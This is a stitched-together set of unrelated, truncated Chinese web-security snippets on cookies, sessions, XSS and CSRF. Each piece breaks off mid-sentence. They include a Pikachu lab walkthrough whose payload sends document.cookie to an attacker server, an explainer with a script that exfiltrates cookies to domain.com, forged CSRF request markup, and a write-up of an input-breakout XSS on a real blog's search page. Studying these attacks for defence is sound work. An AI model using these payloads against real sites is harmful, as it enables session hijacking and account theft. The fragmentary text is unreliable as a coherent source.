cookie欺骗

1.cookie获取（xss反射型get提交） 我们上次在xss反射型get提交中，通过在输入框内编写js代码<script>alert(‘xss’)</script>显示出了弹窗，我们可以利用这个漏洞，编写高级一些的js代码来获取cookie值 在pikachu中，为我们提供了一个平台，在pikachu文件夹下有一个pkxss文件夹，这个我们可以用来当做获取cookie值的服务器。 我们在pikachu主界面中左侧最下面可以登陆这个后台，第一次登陆需要安装，按要求安装即可 登陆后我们可以看到里面有cookie搜集，点进去就是存放cookie的界面了 然后我们进入到如图所示目录下，修改里面的cookie.php文件，把里面重定向的地址随意的改为其他正常的可访问的地址（欺骗），我这里改为存在漏洞的主页。 接下里我们像之前一样将输入框的输入字符长度加长，然后输入<script>document.location = ' http://192.168.42.140/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> 这段js代码意思是，获取当前网页的cookie值并将其返回我们攻击者的服务器上，（我这里122为被攻击 140为攻击方） 提交以后我们发现似乎并没有什么异常

一、输入url到展示页面过程发生了什么？ URL(Uniform Resource Locator)统一资源定位符，用于定位互联网上资源 scheme: // host.domain:port/path/filename scheme:定义因特网服务的类型，常见的类型有:HTTP HTTPS和GTP。 host:定义域主机(http默认是www) domain:定义因特网域名，比如xxx.com.cn port:定义主机上的端口号(http:默认是80) path：定义服务器上的路径 filename:定义文档/资源的名称 1. DNS解析:将域名解析成IP地址 在浏览器输入网址后，首先要经过域名解析，因为浏览器并不能直接通过域名找到对应的服务器，而是要通过IP地址，之所以我们用的是域名而不是IP，是因为IP是一段数字，特别不容易记住，而域名其实就是IP的伪装者。 什么是域名解析：DNS协议提供通过域名查找IP地址，或者是反向通过IP查找域名的服务。DNS是一个网络服务器，我们的域名解析简单来说就是DNS上记录一条信息记录。 1.1 递归查询 主机向本地域名服务器的查询一般都是采用递归查询。 所谓递归查询就是:如果主机所查询的本地域名服务器不知道被查询域名的IP地址，那么本地域名服务器就以DNS客户的身份，向其他根域名服务器继续发出查询的请求报文(即替该主机继续查询)

黑客通常在用这 4 种方式攻击你！（内附防御策略） XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。https://www.cnblogs.com/chengxy-nds/p/12217990.html 一、跨站脚本攻击 概念 跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。 攻击原理 例如有一个论坛网站，攻击者可以在上面发布以下内容： <script>location.href="//domain.com/?c=" + document.cookie</script> 之后该内容可能会被渲染成以下形式： <p><script>location.href="//domain.com/?c=" + document.cookie</script></p> 另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。 危害 窃取用户的 Cookie 伪造虚假的输入表单骗取个人信息 显示伪造的文章或者图片 防范手段 1. 设置 Cookie 为 HttpOnly 设置了 HttpOnly 的

由来 HTTP是无状态协议, 不能用状态来区分、管理请求和响应, 所以服务器单单从网络连接上无法知道客户的身份. 为了解决这个问题, 服务器给客户端分发一个通行证, 从客户端携带的通行证上确认客户的身份, 这就是Cookie的工作原理. Cookie Cookie是客户端保存用户信息的一种机制, 用来记录用户的一些信息. Cookie是服务器在本地机器上存储的一段文本, 并随着每次请求发送到服务器. 根据响应报文中的Set-Cookie的首部字段信息, 通知客户端保存Cookie. 当客户端再向服务器端发起请求时, 客户端会自动在请求报文中添加Cookie值, 发送到服务器. 服务器发现客户端发送过来的Cookie后, 会检查是哪个客户端发过来的请求, 对应服务器上的记录, 得到之前的状态信息. Session 服务器在执行Session机制时, 会生成Session的id值, 这个id值会发送给客户端, 并保存在客户端上, 保存的容器就是Cookie. 客户端每次请求都会把这个id值放到HTTP请求的头部发送给服务器. 当完全禁掉浏览器的Cookie时, 服务器的Session也不会正常使用. Cookie和Session的比较 Cookie数据存放在客户端上, Session数据存放在服务器上. 服务器的Session机制依赖于客户端的Cookie. Cookie不是很安全,

本文由红日安全成员： ruanruan 编写，如有不当，还望斧正。 大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫 Web安全实战 ，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（sec-redclub@qq.com）联系我们。 1.会话安全概述 1.1 什么是会话 session会话机制是一种服务器端机制，它使用类似于哈希表（可能还有哈希表）的结构来保存信息。当程序需要为客户端的请求创建会话时，服务器首先检查客户端的请求是否包含会话标识符（称为会话ID）。如果包含它，它先前已为此客户端创建了一个会话。服务器根据会话ID检索会话（无法检索，将创建新会话），如果客户端请求不包含会话ID，则为客户端创建会话并生成与会话关联的会话ID。 session id应该是一个既不重复也不容易被复制的字符串。会话ID将返回给客户端以保存此响应。 1.2常见会话问题 1.2

跨站请求伪造 跨站请求伪造（又被称为 CSRF 或者 XSRF ），它源自一个域网站向另一个域网站发起请求的简单功能。攻击者通过一些技术手段欺骗用户使用浏览器去访问一个自己曾经认证过的网站并执行一些敏感操作（如转账）。 一个域网站向另一个域的网站发起请求的方式有很多，例如点击一个超链接、加载静态资源、提交表单以及直接发起 ajax 请求等。如： < a href = " http://a.com/xx " > 点击有惊喜 </ a > # 诱导用户点击 < img src = " http://a.com/xx " > # 浏览器默认加载资源 - 图片 < link href = " http://a.com/xx " rel = " stylesheet " > # 浏览器默认加载资源 - css 文件 < form method = " post " action = " http://a.com/xx " > # 构造可以提交的表单 < input type = " text " name = " name " value = " value " > < input type = " submit " > </ form > 如果用户之前在 a.com 认证过，即浏览器保持有效的 cookie ，这些请求也会携带相应的 cookie ，而用户可能并不知情。 Same-Site

引言： 在计算机通信网络中，网络协议是必不可少。其中超文本传输协议(HTTP)是一种通信协议，它允许将超文本标记语言(HTML)文档从Web服务器传送到客户端的浏览器。 然而HTTP协议是无状态的协议。一旦数据交换完毕，客户端与服务器端的连接就会关闭，再次交换数据需要建立新的连接。这就意味着服务器无法从连接上跟踪用户登录网站后的一系列动作，这一系列动作我们称之为会话，比如浏览商品添加到购物车并购买。 会话跟踪是Web程序中常用的技术，用来跟踪用户的整个会话。常用的会话跟踪技术是Cookie与Session。在这篇博客里，我们来看看这两个技术的区别。 Cookie: Cookie实际上是一小段的文本信息。在客户端请求服务器时，如果服务器需要记录该用户状态，如用户信息等，就使用response对象向客户端浏览器发送一个Cookie。客户端会把Cookie保存起来。当浏览器再请求该网站时，浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie，以此来辨认用户状态。工作原理如下： 1. 客户端第一次向服务器发起请求 2. 服务器准备一个cookie，将需缓存的内容设置到cookie中 3. 服务器将请求响应结果与cookie一起回馈给客户端 4. 客户端处理请求的响应与读取cookie 5. 客户端再次向服务器发送请求 6. 服务器检查传来的cookie，辨认状态

这是一篇关于XSS攻击的文章，前阵子看到一篇 关于博客园找找看XSS漏洞的文章 ，我研究了一下，发现事隔三个月，漏洞还在，不知为何。 漏洞分析 用一下找找看的搜索功能就容易发现，搜索功能往url中传递了两个参数名“w”和“t”，输入框对应“w”，搜索分类对应“t”。看不到t参数的，点击一下搜索框上的分类链接就会找到。 按常理，输入框是最容易发生攻击的地方，因此找找看也作了防护。根据我的测试，至少有如下两种防护措施： 正则表达式匹配并删除字符串包含”<script></script>”的部分。 服务器端对输入字符串长度做了限制。 虽说方法并不完美，但两个加一起的确可以达到防护目的。参数“w”安全，可参数“t”却没有任何的防护措施，因此，漏洞就在这里。 通过分析代码，可看到最后”t“传给了一个隐藏表单，代码如下： <input type="hidden" class="txtSeach" name="t" id="t" value=""> 那我们只要将该input闭合，就可以随心所欲的输入任何内容，比如我们输入‘ Test"/><input type="hidden ’，最后的结果就变成： <input type="hidden" class="txtSeach" name="t" id="t" value="Test"/><input type="hidden"/>

浏览器端： cookie WebStorage(localStorage、sessionStorage) indexedDB 服务器端： session cookie Cookie 是小甜饼的意思。顾名思义，cookie 确实非常小，它的大小限制为4KB左右。cookie只能保存字符串类型，以文本的方式。 它的主要用途有保存登录信息，比如你登录某个网站市场可以看到“记住密码”，这通常就是通过在 Cookie 中存入一段辨别用户身份的数据来实现的。 #session机制： 当服务器收到请求需要创建session对象时，首先会检查客户端请求中是否包含sessionid。如果有sessionid，服务器将根据该id返回对应session对象。如果客户端请求中没有sessionid，服务器会创建新的session对象，并把sessionid在本次响应中返回给客户端。通常使用cookie方式存储sessionid到客户端，在交互中浏览器按照规则将sessionid发送给服务器。如果用户禁用cookie，则要使用URL重写，可以通过response.encodeURL(url) 进行实现；API对encodeURL的结束为，当浏览器支持Cookie时，url不做任何处理；当浏览器不支持Cookie的时候，将会重写URL将SessionID拼接到访问地址后。

XSS XSS攻击的全称是跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表 (Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,是WEB应用程序中最常见到的攻击手段之一。跨站脚本攻击指的是攻击者在网页中嵌入恶意脚本程序, 当用户打开该网页时,脚本程序便开始在客户端的浏览器上执行,以盗取客户端cookie、 盗取用户名密码、下载执行病毒木马程序等等。 有一种场景,用户在表单上输入一段数据后,提交给服务端进行持久化,其他页面上需要从服务端将数据取出来展示。还是使用之前那个表单nick,用户输入昵称之后,服务端会将nick保存,并在新的页面展现给用户,当普通用户正常输入hollis,页面会显示用户的 nick为hollis: <body> hollis </body> 但是,如果用户输入的不是一段正常的nick字符串,而是 <script>alert("haha")</script> , 服务端会将这段脚本保存起来,当有用户查看该页面时,页面会出现如下代码: <body> <script> alert("haha") </script> </body> XSS该如何防御 XSS之所以会发生,是因为用户输入的数据变成了代码。因此,我们需要对用户输入的数据进行HTML转义处理,将其中的“尖括号”、“单引号”、“引号”